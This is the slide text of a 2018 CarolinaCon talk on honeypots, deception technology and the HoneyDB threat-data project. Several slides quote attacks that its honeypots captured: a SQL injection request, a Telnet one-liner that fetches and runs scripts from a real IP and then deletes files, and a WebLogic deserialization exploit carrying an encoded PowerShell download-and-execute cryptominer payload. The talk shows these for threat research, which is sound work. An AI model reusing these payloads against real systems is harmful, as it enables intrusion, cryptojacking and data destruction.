Presented on April 14, 2018 at CarolinaCon (https://www.carolinacon.org). This talk will provide a quick overview honeypots, an explanation of the cyber deception space, and the benefits of implementing deception as part of your cyber defense program. In addition, this talk will highlight the HoneyDB project, which enables anyone to get started with operating deception sensors and start collecting threat information. Finally, this presentation will describe how I built scalable honeypot sensor collection, employing a "Frankenstein Cloud Architecture", for minimal cost.

1. Honeypots, Deception, and
Frankenstein
CarolinaCon 14

2. BIO
Career Summary
● WebDev, DBA, SA, IT Auditor (~7 yrs)
● AppSec in Financials, EY & GS (~9 yrs)
On the socials
● Twitter: @foospidy
● Github: http://github.com/foospidy
● LinkedIn: http://linkedin.pxmx.io
● Blog: http://pxmx.io
Phillip Maddux
Trusted AppSec Advisor and
Senior Solutions Engineer
@ Signal Sciences
https://signalsciences.com
CarolinaCon 14

3. Community
Meet Ups!
Conferences!

4. Community
September 29, 2018
https://www.wakeforestdancefestival.org

5. Agenda of the Cybers
● Honeypots 101
● Cyber Deception
● HoneyPy - Quick Update
● Frankenstein (HoneyDB Project)
● Q&A

6. Honeypots 101
A networked computer configured to look like a legitimate system, but its real
purpose is to discover and/or track attackers.
Types of Honeypots:
- Production
- Research
Levels of Interaction:
Low Emulated services, very limited interaction, no login capability (low risk).
Medium Emulated services, emulated login, emulated commands.
High Actual services, system logins, and commands (very risky).

7. Honeypots 101 - Production Honeypots
Production honeypots are computers on the network that have no legitimate
business purpose and should never see any traffic, unless…
- Something is misconfigured on the network
- A malicious actor on the network
Production honeypots are an additional layer to your defense strategy.
- Honeypot logs are low volume and high value
- Honeypots introduce risk to the attacker

8. Honeypots 101 - Production Honeypots
Additional Layer to…
Preventative controls
- Network & application firewalls
- Intrusion prevention systems
- Patch management
- Network compartmentalization
- Anti-virus
Detective controls
- Intrusion detection systems
- Network traffic analysis
- Endpoint monitoring
Control validation
- Vulnerability scans
- Audits
- Penetration testing
- Control performance monitoring
Honeypots
- Produces low volumes of data
compared to the volumes of data
from all other preventative and
detective controls

9. Honeypots 101 - Research Honeypots
Research honeypots can have many purposes, it just depends on what the
research goals are.
Examples:
- Identify sources of malicious traffic
- Discover active malware, botnets, and C&C servers
- Learn about attacker techniques & tools

10. Honeypots 101 - Research Honeypots
Bots
Scanners
Malware
DDoS Botnets
etc.
Internet

11. Honeypots 101 - Research Honeypots
ShmooCon 2015
Andrew Morris (@Andrew___Morris): No Budget Threat
Intelligence - Tracking Malware Campaigns on the Cheap
- Reversing malware
- Uncovering c2 servers
- Uncovering imminent ddos attacks
Presentation video
Now doing really cool stuff with…
(https://greynoise.io/)

12. Honeypots 101 - Hobbyist Honeypots
- Try it out.
- It’s fun!
This is not me.
(this is totally me)

13. Cyber Deception

14. The First Rule of Cyber Deception

15. Image Source
You Must Show This Image

16. Deception
Deception technology automates the creation of traps (decoys) and/or lures
which are mixed among and within existing IT resources to provide a layer of
protection to stop attackers that have penetrated the network. Traps (decoys) are
IT assets that either use real licensed operating system software, or are
emulations of these devices. [1]
1. https://en.wikipedia.org/wiki/Deception_technology#Technology:_high_level_view

17. Deception Automation
Automation for:
- Deploying deception endpoints as VMs, containers, or processes.
- Configuration of deception endpoints.
Centralized management interface, or API driven.

18. Deception Lures
Lures (aka breadcrumbs) - Lures are generally real information technology
resources (files of varying kinds) which are placed on actual IT assets. [1]
- Credentials to network resources or applications.
- Shortcuts to applications or other services, e.g. FTP, Telnet, SSH.
- Browser artifacts, e.g. history, favorites, cookies.
- Database connection strings
- Network drives
- etc.
1. https://en.wikipedia.org/wiki/Deception_technology#Technology:_high_level_view

19. Deception Solutions
Very fancy implementations of honeypots

20. Deception Layers
Network services - SSH, Telnet, FTP, etc.
Applications - cookies, directories, logins, functionality, etc.
Data - watermarks, triggers, records access, etc.

21. Deception in Applications
2017
Herb Todd: Tangled Web: Defense in Deception
- The goals of deception from the perspective of both the attacker and defender
- The elements and processes needed to plan, prepare, execute, and monitor effective deception
- The types of deception techniques that are effective and how they translate into actual web
application capabilities
- How to identify and respond to various types of attackers.
Presentation video
My takeaway - a tailored solution is needed

22. See, told ya.

23. Deception Goal
Integrate deception throughout your network and applications
so you become a high risk to attackers

24. Deception Market
Approximately 20 companies
Raised at least 201 million dollars
Top 5 funded range 19 million to 46 million
2 acquisitions
All this over the last 4, maybe 5 years
Numbers based on data from crunchbase.com as of Fall 2017

25. Deception Challenges
The concept of honeypots
& deception has been
around for years
The Cuckoo’s Egg - 1989
Bsides Raleigh 2017 (now Bsides RDU) source

26. Deception Challenges
Why isn’t everyone already doing deception?

27. Deception Challenges
Maturity

28. Deception Challenges
Over the last 10 to 15 years organizations have focused on
getting the basics done…
● Vulnerability Assessment
● Patch Management
● Endpoint protection
● Network Monitoring (IDS/IPS)
● Controls Validation
● Security awareness / training
Deception
● No resources
● Not a priority
● Not fully understood

29. Deception Challenges
However, as organizations are becoming more mature in their
security programs they are now thinking about deception…
What does a deception program look like for their
organization?

30. Deception Program
Initial thoughts…
● Scope… intruder vs. insider, or both?
● Output... alerts vs. counter intelligence, or both?
● Coverage… external vs. internal, or both?
● Assets… network, applications, data?
● Validation… metrics and testing.
● Incident response… integration and prioritization.
Audit & Compliance?

31. Deception Challenges
Some other challenges…
● Some existing solutions are heavy to deploy.
● Lures & breadcrumb management.
● Vulnerability scans reporting on sensors.
● Deception data risk (data is fake, incident is real).
● External facing deception can have an impact on security scorecard.
● How to implement deception in 3rd party vendor environments.

32. Deception Takeaways
Get the basics covered first
Think about your deception story (program)
Investigate solutions that are right sized for your organization’s maturity level
A solution needs to:
- have capability to be tailored
- be easy to deploy
- be easy to automate and integrate
- be light weight / low touch to manage

33. Deception Takeaways
Effective Deception

34. Project Updates

35. HoneyPy
- Low to medium interaction honeypot.
- Plugin based to implement various network services (tcp or udp).
- Open source, on Github https://github.com/foospidy/HoneyPy
- Written in Python.
- Plugins
- https://github.com/foospidy/HoneyPy/tree/master/plugins
- Service config
- https://github.com/foospidy/HoneyPy/blob/master/etc/services.cfg
- Integrations (loggers)
- https://github.com/foospidy/HoneyPy/tree/master/loggers
June
Meetup

36. HoneyDB
HoneyDB is a community driven honeypot data aggregation
service. HoneyDB collects and publishes honeypot data via
its web site and APIs.
honeydb.io
(redirects to riskdiscovery.com/honeydb)

37. HoneyDB - Features
Data visualization…

38. HoneyDB - Features
Investigation…

39. HoneyDB - Features
Threat Info API
- Bad-hosts
- Sensor Data
- Twitter Threat Feed
Tools…
API Wrapper / CLI
https://github.com/foospidy/honeydb-python
Console
https://github.com/NullArray/Mimir

40. HoneyDB
How does it work?

41. HoneyDB - Original Architecture
Web API

42. HoneyDB - Scale Problem
Web API

43. HoneyDB - Reliability Problem
Fun reading…
http://www.cloudatacost.com/mystory
https://www.reddit.com/r/CloudAtCost/

44. HoneyDB - $$$?
Decent web servers and data storage could
run about $400-$500 per month.
Current 90 day storage 50 GB

45. HoneyDB - How To Get $$$?
Idea…
Honeypots As A Service
(HaaS)

46. HoneyDB - How To Get $$$?
Idea…
Honeypots As A Service
(HaaS)

47. HoneyDB - You Have To HaaS it!

48. HoneyDB - Turns Out… You Don’t Have To HaaS it!
Or nobody wants to HaaS it =(

49. HoneyDB - But Wait, CarolinaCon Connection!
http://novcon.net/
Offered VMs for free!
btw… they also operate the threat info project.

50. HoneyDB - Reliable Servers
But still need to scale

51. HoneyDB - Frankenstein

52. HoneyDB - Frankenstein Cloud Architecture
“Frankenstein scaaaaaaaaaaaaale”
- Frankenstein

53. HoneyDB - Frankenstein Cloud Architecture

54. HoneyDB - Frankenstein Cloud Architecture
Serverless
(functions)
Google Cloud
BigQuery
PubSub
Novcon VMs
Honeydb web / api
MySQL
(Secondary)
MySQL
(Primary)
get hmac
post events
post eventspull events
pull tweets
TBD
replicate
query
inserts
stream
events

55. HoneyDB - What about...
Blockchain?

56. HoneyDB - Blockchain?
Not yet.

57. HoneyDB - Note On Serverless Functions
IBM Cloud Functions is THE BEST - deploy easily/quickly, lowest cost.
AWS Lambda is good - robust, but expensive… API gateway charges.
Google Cloud Functions is disappointing - easy
to deploy, only nodejs, but… Google functions
using Google library talking to Google PubSub
resulted in tons of errors. Wait. What? Why?
Azure Cloud Functions is WTF - couldn’t get
dependencies to install, never got it running,
couldn’t waste more time with it.

58. HoneyDB - Ok, So What Does It Cost?

59. HoneyDB - Ok, So What Does It Cost?

60. HoneyDB - How To Money?
Cryptocurrency Mining...

61. HoneyDB - How To Money?
Not practical, but wrote a cool script...
HoneyMiner
https://github.com/foospidy/HoneyMiner

62. HoneyDB - How To Money?
Masternodes…
Greater privacy of transactions
Performing immediate transactions
Participation in proceedings and voting
Activate budgeting and cashier system in cryptocurrencies

63. HoneyDB - How To Money?
Currently running 5 masternodes
across 2 VPS
Yields about $100 to $200 per month.

64. HoneyDB - But that crypto though.
Masternodes have
potential, but requires
an initial investment,
and at the
mercy of market
volatility.

65. HoneyDB - How to money?
Other options…
Sponsorships
Commercial Licensing

66. HoneyDB - Back To HaaS
Tools to get you honeypotting
● Honeydb-agent
○ Like HoneyPy, but a binary
● API Endpoints
● HoneyDB CLI

67. HoneyDB - New API Endpoints
● Bad-host (filtered)
● Sensor Data Count (filtered)
● Sensor Data (filtered)
Filtered means it’s only the data from your sensors.

68. HoneyDB - New API Client Wrapper and CLI
pip install honeydb
usage: honeydb [-h] [--bad-hosts] [--sensor-data-count] [--sensor-data] [--threatbin] [--twitter-threat-feed] [--mydata] [--date DATE] [--ip-address
IP_ADDRESS] [--from-id FROM_ID] [--pretty]
optional arguments:
-h, --help show this help message and exit
--bad-hosts Get bad hosts.
--sensor-data-count Get sensor data count.
--sensor-data Get sensor data.
--threatbin Get ThreatBin entries.
--twitter-threat-feed Get Twitter Threat Feed.
--mydata Filter on mydata.
--date DATE Date in format YYYY-MM-DD
--ip-address IP_ADDRESS IP address to filter on.
--from-id FROM_ID ID to continue retrieving sensor data.
--pretty Print JSON in pretty format.

69. HoneyDB - Examples...
Web
GET
/hcl/inc/install/checkout.asp?cartid1111111111111'%20UNION%20SELECT%20CHAR(45,120,49,45,81,45),CHAR
(45,120,50,45,81,45)--%20%20 HTTP/1.1
Host: x.x.x.x
Accept: */*
Telnet
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.76.233.99/bins.sh; chmod 777
bins.sh; sh bins.sh; tftp 45.76.233.99 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r
tftp2.sh -g 45.76.233.99; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P
21 45.76.233.99 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *

70. HoneyDB - Examples...
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 64.137.163.142:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1216
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E
JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALg
BDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAc
wAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQw
AuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4
AcABoAHAAJwApADsA</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>

71. HoneyDB - Examples...
$.O.S.=.(.G.e.t.-.W.m.i.O.b.j.e.c.t. .-.C.l.a.s.s.
.W.i.n.3.2._.O.p.e.r.a.t.i.n.g.S.y.s.t.e.m.)...C.a.p.t.i.o.n.;.$.W
.C.=.N.e.w.-.O.b.j.e.c.t.
.N.e.t...W.e.b.C.l.i.e.n.t.;.$.W.C...H.e.a.d.e.r.s...A.d.d.(.'.U.s
.e.r.-.A.g.e.n.t.'.,.".P.o.w.e.r.S.h.e.l.l. .v.2...0.
.$.O.S.".).;.I.E.X.
.$.W.C...D.o.w.n.l.o.a.d.S.t.r.i.n.g.(.'.h.t.t.p.:././.1.2.3...5.9
...6.8...1.7.2./.C.a.c.h.e./.D.L...p.h.p.'.).;.

72. HoneyDB - @MalwareMechanic
● I analyzed the initial POST you sent me. From there
was I was able to pull apart a scanner/worm/RAT!
● It appears to be GhostMiner to mine Monero!

73. HoneyDB - Hmmmmm...
$ cat GhostMiner >> HoneyMiner

74. HoneyDB - No no no no...

75. HoneyDB - @MalwareMechanic
● This POST utilizes a Java deserialization
vulnerability to execute a base64 encoded
PowerShell command.
● This in turn downloads and executes a PowerShell
script (hxxp://123.59.68.172/Cache/DL.php).
● Installs a cryptominer via WMI.
● Attempts to stop the various services & tasks
before installing the new miner.
● Attempts to stop other miners.
● Attempts to stop processes listening on specific
ports.
● Also saw references to
powershell_reflective_mimikatz.

76. HoneyDB - Go Forth and Honeypot!
honeydb.io
Thanks!
Questions?